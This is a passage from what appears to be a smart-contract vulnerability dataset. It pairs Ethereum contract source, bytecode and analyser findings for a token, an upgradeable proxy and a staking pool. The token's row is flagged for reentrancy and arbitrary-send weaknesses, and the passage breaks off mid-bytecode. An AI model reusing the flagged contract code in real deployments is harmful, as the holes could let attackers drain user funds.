160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f9565b6001600160a01b038216610d965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f9565b60008111610df85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f9565b6000546001600160a01b03848116911614801590610e2457506000546001600160a01b03838116911614155b1561117257601054600160b81b900460ff1615610f0b576001600160a01b0383163014801590610e5d57506001600160a01b0382163014155b8015610e775750600f546001600160a01b03848116911614155b8015610e915750600f546001600160a01b03838116911614155b15610f0b57600f546001600160a01b0316336001600160a01b03161480610ecb57506010546001600160a01b0316336001600160a01b0316145b610f0b5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016104f9565b601154811115610f1a57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610f5c57506001600160a01b0382166000908152600a602052604090205460ff16155b8015610f785750336000908152600a602052604090205460ff16155b610f8157600080fd5b6010546001600160a01b038481169116148015610fac5750600f546001600160a01b03838116911614155b8015610fd157506001600160a01b03821660009081526005602052604090205460ff16155b8015610fe65750601054600160b81b900460ff165b15611034576001600160a01b0382166000908152600b6020526040902054421161100f57600080fd5b61101a42600a611cd3565b6001600160a01b0383166000908152600b60205260409020555b601254611042906002611cd3565b4311158015611052575060115481145b15611105576010546001600160a01b038481169116148015906110835750600f546001600160a01b03848116911614155b156110b0576001600160a01b0383166000908152600a60205260409020805460ff19166001179055611105565b6010546001600160a01b038381169116148015906110dc5750600f546001600160a01b03838116911614155b15611105576001600160a01b0382166000908152600a60205260409020805460ff191660011790555b600061111030610598565b601054909150600160a81b900460ff1615801561113b57506010546001600160a01b03858116911614155b80156111505750601054600160b01b900460ff165b156111705761115e81611364565b47801561116e5761116e47611209565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111b457506001600160a01b03831660009081526005602052604090205460ff165b156111bd575060005b6111c9848484846115ca565b50505050565b600081848411156111f35760405162461bcd60e51b81526004016104f99190611bdb565b5060006112008486611d2a565b95945050505050565b600c546001600160a01b03166108fc611228600a610b6b856004611509565b6040518115909202916000818181858888f19350505050158015611250573d6000803e3d6000fd5b50600d546001600160a01b03166108fc611270600a610b6b856004611509565b6040518115909202916000818181858888f19350505050158015611298573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6112b8600a610b6b856002611509565b6040518115909202916000818181858888f193505050501580156106db573d6000803e3d6000fd5b60006006548211156113475760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f9565b60006113516115f6565b905061135d8382611588565b9392505050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ba57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140e57600080fd5b505afa158015611422573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144691906119d8565b8160018151811061146757634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f5461148d9130911684610bac565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114c6908590600090869030904290600401611c63565b600060405180830381600087803b1580156114e057600080fd5b505af11580156114f4573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b60008261151857506000610460565b60006115248385611d0b565b9050826115318583611ceb565b1461135d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f9565b600061135d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611619565b806115d7576115d7611647565b6115e284848461166a565b806111c9576111c96002600855600a600955565b6000806000611603611761565b90925090506116128282611588565b9250505090565b6000818361163a5760405162461bcd60e51b81526004016104f99190611bdb565b5060006112008486611ceb565b6008541580156116575750600954155b1561165e57565b60006008819055600955565b60008060008060008061167c876117a1565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116ae90876117fe565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116dd9086611840565b6001600160a01b0389166000908152600260205260409020556116ff8161189f565b61170984836118e9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161174e91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061177c8282611588565b82101561179857505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006117be8a60085460095461190d565b92509250925060006117ce6115f6565b905060008060006117e18e87878761195c565b919e509c509a509598509396509194505050505091939550919395565b600061135d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111cf565b60008061184d8385611cd3565b90508381101561135d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f9565b60006118a96115f6565b905060006118b78383611509565b306000908152600260205260409020549091506118d49082611840565b30600090815260026020526040902055505050565b6006546118f690836117fe565b6006556007546119069082611840565b6007555050565b60008080806119216064610b6b8989611509565b905060006119346064610b6b8a89611509565b9050600061194c826119468b866117fe565b906117fe565b9992985090965090945050505050565b600080808061196b8886611509565b905060006119798887611509565b905060006119878888611509565b905060006119998261194686866117fe565b939b939a50919850919650505050505050565b80356119b781611d88565b919050565b6000602082840312156119cd578081fd5b813561135d81611d88565b6000602082840312156119e9578081fd5b815161135d81611d88565b60008060408385031215611a06578081fd5b8235611a1181611d88565b91506020830135611a2181611d88565b809150509250929050565b600080600060608486031215611a40578081fd5b8335611a4b81611d88565b92506020840135611a5b81611d88565b929592945050506040919091013590565b60008060408385031215611a7e578182fd5b8235611a8981611d88565b946020939093013593505050565b60006020808385031215611aa9578182fd5b823567ffffffffffffffff80821115611ac0578384fd5b818501915085601f830112611ad3578384fd5b813581811115611ae557611ae5611d72565b8060051b604051601f19603f83011681018181108582111715611b0a57611b0a611d72565b604052828152858101935084860182860187018a1015611b28578788fd5b8795505b83861015611b5157611b3d816119ac565b855260019590950194938601938601611b2c565b5098975050505050505050565b600060208284031215611b6f578081fd5b813561135d81611d9d565b600060208284031215611b8b578081fd5b815161135d81611d9d565b600060208284031215611ba7578081fd5b5035919050565b600080600060608486031215611bc2578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c0757858101830151858201604001528201611beb565b81811115611c185783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cb25784516001600160a01b031683529383019391830191600101611c8d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ce657611ce6611d5c565b500190565b600082611d0657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d2557611d25611d5c565b500290565b600082821015611d3c57611d3c611d5c565b500390565b6000600019821415611d5557611d55611d5c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461059557600080fd5b801515811461059557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a42df46b0fb7d66d68b475fc14e6389fcbc751367aacfed20de2bc2607d5e5ea64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,510 |
0x62cc514824b080707ffc0b0f64f992f38b974f9d | /**
*Submitted for verification at Etherscan.io on 2021-05-17
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 10,511 |
0x27B9B53e0DbFF7DeBE2D1923747648d5aD6b09b0 | // SPDX-License-Identifier: MIT
/**
*Submitted for verification at arbiscan.io on 2021-09-08
*/
//SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/ownership/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address public owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(
newOwner != address(0),
'Ownable: new owner is the zero address'
);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StakedTokenWrapper {
uint256 public totalSupply;
mapping(address => uint256) private _balances;
IERC20 public stakedToken;
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
string constant _transferErrorMessage = 'staked token transfer failed';
function stakeFor(address forWhom, uint128 amount) public payable virtual {
IERC20 st = stakedToken;
if (st == IERC20(address(0))) {
//eth
unchecked {
totalSupply += msg.value;
_balances[forWhom] += msg.value;
}
} else {
require(msg.value == 0, 'non-zero eth');
require(amount > 0, 'Cannot stake 0');
require(
st.transferFrom(msg.sender, address(this), amount),
_transferErrorMessage
);
unchecked {
totalSupply += amount;
_balances[forWhom] += amount;
}
}
emit Staked(forWhom, amount);
}
function withdraw(uint128 amount) public virtual {
require(amount <= _balances[msg.sender], 'withdraw: balance is lower');
unchecked {
_balances[msg.sender] -= amount;
totalSupply = totalSupply - amount;
}
IERC20 st = stakedToken;
if (st == IERC20(address(0))) {
//eth
(bool success, ) = msg.sender.call{ value: amount }('');
require(success, 'eth transfer failure');
} else {
require(
stakedToken.transfer(msg.sender, amount),
_transferErrorMessage
);
}
emit Withdrawn(msg.sender, amount);
}
}
contract FishPoolTwo is StakedTokenWrapper, Ownable {
IERC20 public rewardToken;
uint256 public rewardRate;
uint64 public periodFinish;
uint64 public lastUpdateTime;
uint128 public rewardPerTokenStored;
struct UserRewards {
uint128 userRewardPerTokenPaid;
uint128 rewards;
}
mapping(address => UserRewards) public userRewards;
event RewardAdded(uint256 reward);
event RewardPaid(address indexed user, uint256 reward);
constructor(IERC20 _rewardToken, IERC20 _stakedToken) {
rewardToken = _rewardToken;
stakedToken = _stakedToken;
}
modifier updateReward(address account) {
uint128 _rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
rewardPerTokenStored = _rewardPerTokenStored;
userRewards[account].rewards = earned(account);
userRewards[account].userRewardPerTokenPaid = _rewardPerTokenStored;
_;
}
function lastTimeRewardApplicable() public view returns (uint64) {
uint64 blockTimestamp = uint64(block.timestamp);
return blockTimestamp < periodFinish ? blockTimestamp : periodFinish;
}
function rewardPerToken() public view returns (uint128) {
uint256 totalStakedSupply = totalSupply;
if (totalStakedSupply == 0) {
return rewardPerTokenStored;
}
unchecked {
uint256 rewardDuration = lastTimeRewardApplicable() -
lastUpdateTime;
return
uint128(
rewardPerTokenStored +
(rewardDuration * rewardRate * 1e18) /
totalStakedSupply
);
}
}
function earned(address account) public view returns (uint128) {
unchecked {
return
uint128(
(balanceOf(account) *
(rewardPerToken() -
userRewards[account].userRewardPerTokenPaid)) /
1e18 +
userRewards[account].rewards
);
}
}
function stake(uint128 amount) external payable {
stakeFor(msg.sender, amount);
}
function stakeFor(address forWhom, uint128 amount)
public
payable
override
updateReward(forWhom)
{
super.stakeFor(forWhom, amount);
}
function withdraw(uint128 amount) public override updateReward(msg.sender) {
super.withdraw(amount);
}
function exit() external {
getReward();
withdraw(uint128(balanceOf(msg.sender)));
}
function getReward() public updateReward(msg.sender) {
uint256 reward = earned(msg.sender);
if (reward > 0) {
userRewards[msg.sender].rewards = 0;
require(
rewardToken.transfer(msg.sender, reward),
'reward transfer failed'
);
emit RewardPaid(msg.sender, reward);
}
}
function setRewardParams(uint128 reward, uint64 duration)
external
onlyOwner
{
unchecked {
require(reward > 0);
rewardPerTokenStored = rewardPerToken();
uint64 blockTimestamp = uint64(block.timestamp);
uint256 maxRewardSupply = rewardToken.balanceOf(address(this));
if (rewardToken == stakedToken) maxRewardSupply -= totalSupply;
uint256 leftover = 0;
if (blockTimestamp >= periodFinish) {
rewardRate = reward / duration;
} else {
uint256 remaining = periodFinish - blockTimestamp;
leftover = remaining * rewardRate;
rewardRate = (reward + leftover) / duration;
}
require(reward + leftover <= maxRewardSupply, 'not enough tokens');
lastUpdateTime = blockTimestamp;
periodFinish = blockTimestamp + duration;
emit RewardAdded(reward);
}
}
function withdrawReward() external onlyOwner {
uint256 rewardSupply = rewardToken.balanceOf(address(this));
//ensure funds staked by users can't be transferred out
if (rewardToken == stakedToken) rewardSupply -= totalSupply;
require(rewardToken.transfer(msg.sender, rewardSupply));
rewardRate = 0;
periodFinish = uint64(block.timestamp);
}
}
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: YFIRewards.sol
*
* Docs: https://docs.synthetix.io/
*
*
* MIT License
* ===========
*
* Copyright (c) 2020 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/ | 0x6080604052600436106101045760003560e01c80628cc2621461010957806302387a7b1461013f5780630660f1e81461016157806318160ddd146101c25780633d18b912146101e657806370458d85146101fb57806370a082311461020e578063715018a61461022e5780637b0a47ee1461024357806380faa57d1461025957806388fe2be81461028657806389ee4bde146102995780638da5cb5b146102b9578063c885bc58146102e6578063c8f33c91146102fb578063cc7a262e14610322578063cd3daf9d14610342578063df136d6514610357578063e9fad8ee1461037e578063ebe2b12b14610393578063f2fde38b146103b3578063f7c618c1146103d3575b600080fd5b34801561011557600080fd5b50610129610124366004611262565b6103f3565b60405161013691906113fd565b60405180910390f35b34801561014b57600080fd5b5061015f61015a3660046112d5565b610468565b005b34801561016d57600080fd5b506101a261017c366004611262565b6007602052600090815260409020546001600160801b0380821691600160801b90041682565b604080516001600160801b03938416815292909116602083015201610136565b3480156101ce57600080fd5b506101d860005481565b604051908152602001610136565b3480156101f257600080fd5b5061015f610507565b61015f610209366004611283565b6106d6565b34801561021a57600080fd5b506101d8610229366004611262565b610777565b34801561023a57600080fd5b5061015f610792565b34801561024f57600080fd5b506101d860055481565b34801561026557600080fd5b5061026e6107f4565b6040516001600160401b039091168152602001610136565b61015f6102943660046112d5565b610828565b3480156102a557600080fd5b5061015f6102b43660046112ef565b610835565b3480156102c557600080fd5b506003546102d9906001600160a01b031681565b6040516101369190611348565b3480156102f257600080fd5b5061015f610aaa565b34801561030757600080fd5b5060065461026e90600160401b90046001600160401b031681565b34801561032e57600080fd5b506002546102d9906001600160a01b031681565b34801561034e57600080fd5b50610129610c31565b34801561036357600080fd5b5060065461012990600160801b90046001600160801b031681565b34801561038a57600080fd5b5061015f610cc6565b34801561039f57600080fd5b5060065461026e906001600160401b031681565b3480156103bf57600080fd5b5061015f6103ce366004611262565b610cdc565b3480156103df57600080fd5b506004546102d9906001600160a01b031681565b6001600160a01b0381166000908152600760205260408120546001600160801b03600160801b8204811691670de0b6b3a76400009116610431610c31565b036001600160801b031661044485610777565b028161046057634e487b7160e01b600052601260045260246000fd5b040192915050565b336000610473610c31565b905061047d6107f4565b600680546001600160801b03808516600160801b026001600160401b03948516600160401b029190911693909116929092179190911790556104be826103f3565b6001600160a01b03831660009081526007602052604090206001600160801b038381169216600160801b026001600160801b03191691909117905561050283610d0f565b505050565b336000610512610c31565b905061051c6107f4565b600680546001600160801b03808516600160801b026001600160401b03948516600160401b0291909116939091169290921791909117905561055d826103f3565b6001600160a01b03831660009081526007602052604081206001600160801b038481169316600160801b026001600160801b031916929092179091556105a2336103f3565b6001600160801b03169050801561050257336000818152600760205260409081902080546001600160801b0316905560048054915163a9059cbb60e01b81526001600160a01b039092169263a9059cbb926105ff9286910161135c565b602060405180830381600087803b15801561061957600080fd5b505af115801561062d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061065191906112b5565b61069b5760405162461bcd60e51b81526020600482015260166024820152751c995dd85c99081d1c985b9cd9995c8819985a5b195960521b60448201526064015b60405180910390fd5b60405181815233907fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486906020015b60405180910390a2505050565b8160006106e1610c31565b90506106eb6107f4565b600680546001600160801b03808516600160801b026001600160401b03948516600160401b0291909116939091169290921791909117905561072c826103f3565b6001600160a01b03831660009081526007602052604090206001600160801b038381169216600160801b026001600160801b0319169190911790556107718484610f70565b50505050565b6001600160a01b031660009081526001602052604090205490565b6003546001600160a01b031633146107bc5760405162461bcd60e51b8152600401610692906113c8565b6003546040516000916001600160a01b031690600080516020611435833981519152908390a3600380546001600160a01b0319169055565b60065460009042906001600160401b0390811690821610610820576006546001600160401b0316610822565b805b91505090565b61083233826106d6565b50565b6003546001600160a01b0316331461085f5760405162461bcd60e51b8152600401610692906113c8565b6000826001600160801b03161161087557600080fd5b